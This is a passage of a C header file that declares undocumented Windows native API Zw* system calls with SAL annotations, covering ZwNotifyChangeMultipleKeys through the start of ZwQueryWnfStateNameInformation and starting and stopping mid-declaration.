Buffer,\n _In_ ULONG BufferSize,\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwNotifyChangeMultipleKeys(\n _In_ HANDLE MasterKeyHandle,\n _In_opt_ ULONG Count,\n _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _Out_writes_bytes_opt_(BufferSize) PVOID Buffer,\n _In_ ULONG BufferSize,\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwNotifyChangeSession(\n _In_ HANDLE SessionHandle,\n _In_ ULONG ChangeSequenceNumber,\n _In_ PLARGE_INTEGER ChangeTimeStamp,\n _In_ IO_SESSION_EVENT Event,\n _In_ IO_SESSION_STATE NewState,\n _In_ IO_SESSION_STATE PreviousState,\n _In_reads_bytes_opt_(PayloadSize) PVOID Payload,\n _In_ ULONG PayloadSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenDirectoryObject(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenEnlistment(\n _Out_ PHANDLE EnlistmentHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE ResourceManagerHandle,\n _In_ LPGUID EnlistmentGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenEvent(\n _Out_ PHANDLE EventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenEventPair(\n _Out_ PHANDLE EventPairHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenFile(\n _Out_ PHANDLE FileHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG ShareAccess,\n _In_ ULONG OpenOptions\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenIoCompletion(\n _Out_ PHANDLE IoCompletionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenJobObject(\n _Out_ PHANDLE JobHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenKey(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenKeyedEvent(\n _Out_ PHANDLE KeyedEventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenKeyEx(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG OpenOptions\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenKeyTransacted(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE TransactionHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenKeyTransactedEx(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG OpenOptions,\n _In_ HANDLE TransactionHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenMutant(\n _Out_ PHANDLE MutantHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ACCESS_MASK GrantedAccess,\n _In_opt_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN ObjectCreation,\n _In_ BOOLEAN AccessGranted,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenPartition(\n _Out_ PHANDLE PartitionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenPrivateNamespace(\n _Out_ PHANDLE NamespaceHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PVOID BoundaryDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PCLIENT_ID ClientId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenProcessToken(\n _In_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenProcessTokenEx(\n _In_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenResourceManager(\n _Out_ PHANDLE ResourceManagerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE TmHandle,\n _In_opt_ LPGUID ResourceManagerGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenSection(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenSemaphore(\n _Out_ PHANDLE SemaphoreHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenSession(\n _Out_ PHANDLE SessionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenSymbolicLinkObject(\n _Out_ PHANDLE LinkHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PCLIENT_ID ClientId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenThreadToken(\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ BOOLEAN OpenAsSelf,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenThreadTokenEx(\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ BOOLEAN OpenAsSelf,\n _In_ ULONG HandleAttributes,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenTransaction(\n _Out_ PHANDLE TransactionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ LPGUID Uow,\n _In_opt_ HANDLE TmHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwOpenTransactionManager(\n _Out_ PHANDLE TmHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PUNICODE_STRING LogFileName,\n _In_opt_ LPGUID TmIdentity,\n _In_opt_ ULONG OpenOptions\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPlugPlayControl(\n _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass,\n _Inout_updates_bytes_(PnPControlDataLength) PVOID PnPControlData,\n _In_ ULONG PnPControlDataLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPowerInformation(\n _In_ POWER_INFORMATION_LEVEL InformationLevel,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrepareComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrepareEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrePrepareComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrePrepareEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrivilegeCheck(\n _In_ HANDLE ClientToken,\n _Inout_ PPRIVILEGE_SET RequiredPrivileges,\n _Out_ PBOOLEAN Result\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrivilegedServiceAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_ PUNICODE_STRING ServiceName,\n _In_ HANDLE ClientToken,\n _In_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN AccessGranted\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPrivilegeObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PPRIVILEGE_SET Privileges,\n _In_ BOOLEAN AccessGranted\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPropagationComplete(\n _In_ HANDLE ResourceManagerHandle,\n _In_ ULONG RequestCookie,\n _In_ ULONG BufferLength,\n _In_ PVOID Buffer\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPropagationFailed(\n _In_ HANDLE ResourceManagerHandle,\n _In_ ULONG RequestCookie,\n _In_ NTSTATUS PropStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwProtectVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG NewProtect,\n _Out_ PULONG OldProtect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwPulseEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryAttributesFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PFILE_BASIC_INFORMATION FileInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryBootEntryOrder(\n _Out_writes_opt_(*Count) PULONG Ids,\n _Inout_ PULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryBootOptions(\n _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions,\n _Inout_ PULONG BootOptionsLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDefaultLocale(\n _In_ BOOLEAN UserProfile,\n _Out_ PLCID DefaultLocaleId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDefaultUILanguage(\n _Out_ LANGID *DefaultUILanguageId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDirectoryFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_opt_ PUNICODE_STRING FileName,\n _In_ BOOLEAN RestartScan\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDirectoryObject(\n _In_ HANDLE DirectoryHandle,\n _Out_writes_bytes_opt_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_ BOOLEAN RestartScan,\n _Inout_ PULONG Context,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryDriverEntryOrder(\n _Out_writes_opt_(*Count) PULONG Ids,\n _Inout_ PULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryEaFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_reads_bytes_opt_(EaListLength) PVOID EaList,\n _In_ ULONG EaListLength,\n _In_opt_ PULONG EaIndex,\n _In_ BOOLEAN RestartScan\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryEvent(\n _In_ HANDLE EventHandle,\n _In_ EVENT_INFORMATION_CLASS EventInformationClass,\n _Out_writes_bytes_(EventInformationLength) PVOID EventInformation,\n _In_ ULONG EventInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryFullAttributesFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationAtom(\n _In_ RTL_ATOM Atom,\n _In_ ATOM_INFORMATION_CLASS AtomInformationClass,\n _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation,\n _In_ ULONG AtomInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationByName(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass,\n _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationJobObject(\n _In_opt_ HANDLE JobHandle,\n _In_ JOBOBJECTINFOCLASS JobObjectInformationClass,\n _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation,\n _In_ ULONG JobObjectInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationPort(\n _In_ HANDLE PortHandle,\n _In_ PORT_INFORMATION_CLASS PortInformationClass,\n _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationProcess(\n _In_ HANDLE ProcessHandle,\n _In_ PROCESSINFOCLASS ProcessInformationClass,\n _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n _In_ ULONG ProcessInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass,\n _Out_writes_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation,\n _In_ ULONG ResourceManagerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationThread(\n _In_ HANDLE ThreadHandle,\n _In_ THREADINFOCLASS ThreadInformationClass,\n _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation,\n _In_ ULONG ThreadInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationToken(\n _In_ HANDLE TokenHandle,\n _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,\n _Out_writes_bytes_(TokenInformationLength) PVOID TokenInformation,\n _In_ ULONG TokenInformationLength,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass,\n _Out_writes_bytes_(TransactionInformationLength) PVOID TransactionInformation,\n _In_ ULONG TransactionInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationTransactionManager(\n _In_ HANDLE TransactionManagerHandle,\n _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,\n _Out_writes_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation,\n _In_ ULONG TransactionManagerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInformationWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,\n _In_ ULONG WorkerFactoryInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryInstallUILanguage(\n _Out_ LANGID *InstallUILanguageId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryIntervalProfile(\n _In_ KPROFILE_SOURCE ProfileSource,\n _Out_ PULONG Interval\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass,\n _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation,\n _In_ ULONG IoCompletionInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryKey(\n _In_ HANDLE KeyHandle,\n _In_ KEY_INFORMATION_CLASS KeyInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryLicenseValue(\n _In_ PUNICODE_STRING ValueName,\n _Out_opt_ PULONG Type,\n _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data,\n _In_ ULONG DataSize,\n _Out_ PULONG ResultDataSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryMultipleValueKey(\n _In_ HANDLE KeyHandle,\n _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,\n _In_ ULONG EntryCount,\n _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,\n _Inout_ PULONG BufferLength,\n _Out_opt_ PULONG RequiredBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryMutant(\n _In_ HANDLE MutantHandle,\n _In_ MUTANT_INFORMATION_CLASS MutantInformationClass,\n _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation,\n _In_ ULONG MutantInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryObject(\n _In_opt_ HANDLE Handle,\n _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,\n _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,\n _In_ ULONG ObjectInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryOpenSubKeys(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _Out_ PULONG HandleCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryOpenSubKeysEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_opt_(BufferLength) PVOID Buffer,\n _Out_ PULONG RequiredSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryPerformanceCounter(\n _Out_ PLARGE_INTEGER PerformanceCounter,\n _Out_opt_ PLARGE_INTEGER PerformanceFrequency\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryPortInformationProcess(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryQuotaInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_reads_bytes_opt_(SidListLength) PVOID SidList,\n _In_ ULONG SidListLength,\n _In_opt_ PSID StartSid,\n _In_ BOOLEAN RestartScan\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySection(\n _In_ HANDLE SectionHandle,\n _In_ SECTION_INFORMATION_CLASS SectionInformationClass,\n _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation,\n _In_ SIZE_T SectionInformationLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityAttributesToken(\n _In_ HANDLE TokenHandle,\n _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes,\n _In_ ULONG NumberOfAttributes,\n _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION\n _In_ ULONG Length,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityObject(\n _In_ HANDLE Handle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ ULONG Length,\n _Out_ PULONG LengthNeeded\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySemaphore(\n _In_ HANDLE SemaphoreHandle,\n _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass,\n _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation,\n _In_ ULONG SemaphoreInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySymbolicLinkObject(\n _In_ HANDLE LinkHandle,\n _Inout_ PUNICODE_STRING LinkTarget,\n _Out_opt_ PULONG ReturnedLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySystemEnvironmentValue(\n _In_ PUNICODE_STRING VariableName,\n _Out_writes_bytes_(ValueLength) PWSTR VariableValue,\n _In_ USHORT ValueLength,\n _Out_opt_ PUSHORT ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySystemEnvironmentValueEx(\n _In_ PUNICODE_STRING VariableName,\n _In_ LPGUID VendorGuid,\n _Out_writes_bytes_opt_(*ValueLength) PVOID Value,\n _Inout_ PULONG ValueLength,\n _Out_opt_ PULONG Attributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySystemInformation(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySystemInformationEx(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _In_reads_bytes_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQuerySystemTime(\n _Out_ PLARGE_INTEGER SystemTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryTimer(\n _In_ HANDLE TimerHandle,\n _In_ TIMER_INFORMATION_CLASS TimerInformationClass,\n _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation,\n _In_ ULONG TimerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryTimerResolution(\n _Out_ PULONG MaximumTime,\n _Out_ PULONG MinimumTime,\n _Out_ PULONG CurrentTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName,\n _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,\n _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation,\n _In_ SIZE_T MemoryInformationLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryVolumeInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FsInformation,\n _In_ ULONG Length,\n _In_ FSINFOCLASS FsInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_opt_ const VOID *ExplicitScope,\n _Out_ PWNF_CHANGE_STAMP ChangeStamp,\n _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,\n _Inout_ PULONG BufferSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwQueryWnfStateNameInformation(\n _In_ PCWNF_STATE_NAME StateName,\n _In_ WNF_STATE_NAME_INFORMATION NameInfoClass,\n _In_opt_ const VOID *ExplicitScope,\n _Out_writes_bytes_(InfoBufferSize) 